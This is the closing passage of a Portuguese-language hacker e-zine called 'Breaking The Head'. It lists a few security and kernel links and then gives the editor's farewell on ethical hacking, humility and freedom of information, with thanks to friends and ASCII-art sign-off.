ftp://ftp.technotronic.com

Kernel
http://www.kernel.org

NetSearch --> Zine muito boa sobre seguranca em geral.
http://www.netsearch-ezine.com
obs.: Eh em Espanhol. 



[12] [-=-=-=-=-=-=-=-=]
     [-= Terminando =-]
     [-= por Hophet =-]
     [-=-=-=-=-=-=-=-=]	



Eh pessoal chegamos au fim da nossa primeira edicao ...
nao sei se vai haver number two, brincadeira, foi pra 
descontrai:), mas fiquem sabendo que nao eh facil nao 
ate porque a cada dia que passa o nosso mundo globalizado
em geral fica mas corrido e as pessoas cada vez mais 
ficam sem tempo, pra tudo, comigo nao eh diferente:), 
mas estamos aih na luta, e sempre com o intuito de 
aprender mais e mais e tambem de passar na medida 
do possivel um pouco do que agente sabe(que nao eh muito)
:), espero que o pessoal tenha gostado dessa edicao, se nao 
me perdoe(nem jesus agradou a todos, eu nao seria o 
primeiro:). Quero deixar bem claro pro pessoal que toda 
ajuda do pessoal newbie fucador "etico", eh bem vinda 
pois eu acredito que com etica e amor a tudo que se faz 
(nao soh na informatica) certamente voce colhera bons 
frutos, au contraria de quem almeja somente a FAMA,
pois eu garanto que esse tipo de pessoa nao irah colher
bons frutos, e sim os piores, por isso eu abro as portas 
pro pessoal "etico" usar a "bth" como mais um meio de 
saida pra informacao, assim contribuindo bastante pra
"Liberdade de Informacao", se voce nao pensa assim,
ou tem um pensamento totalmente elitista, voce nao 
deveria nem ter chegado ate aqui, mas deveria mudar de
pensamento. O principal objetivo da "bth" eh de uma forma
ou de outra, abrir um espaco pra min colocar meus 
pensamentos  e ideologias, assim como, ser como, nao diria 
"mais uma" porque mais uma acredito que muitas outras sao 
mas sim ser um local especial onde o pessoal Newbie(como eu:)
possa sempre ter informacao "util" e "atualizada". Uma coisa
que eu tenho visto bastante que eu acho que seria interecante
falar aqui, eh que muitos de nos nao estamos sendo humildes,
com "humildade" voce vaih chegar bem mais longe.

Eh .. nao vou marcar datas, mas quando sair uma proxima 
voces vao ficar sabendo:)... Quero a  agradecer desde ja 
ao meus amigos que me ajudaram nessa edicao, Blood_Sucker
e KeeP , valeu manos:). O objetivo tambem eh crescer com o
tempo ... crescer no sentido de conteudo:).

Qualquer duvida,erro,criticas "construtivas", fiquem 
avontade para mandar e-mails. Um  beijo pra Jirlena,
abraco ao Blood, Fallon,  ao pessoal daqui do estado:)
enfim a todos que tem contribuido para o crescimento 
do hacking "etico". Vou ficando por aqui com as minhas
humildes palavras, obrigado a todos e um abraco:)
OBS.: Ah 'bth' nao tem data de lancamento, pode sair uma
amanha, assim como uma daqui 2 ou 3 meses:)
 
"...se eu for liguar pro que eh que vao falar nao faco nada..." 
CI 




printk("<1>End of File\n"); 
 

 
    
.............................\!!!!/.............................
............................(   ).............................
...............---------oOOO--(_)-----------------..............
...............|.................................|..............
...............|.......hophet@yahoo.com.br.......|..............
...............|.....[=-Breaking.The.Head-=].....|..............
...............|.................................|..............
...............-----------------------oOOO--------..............
...........................|__|.|__|............................
............................||...||............................. 
...........................ooO...Ooo............................ 



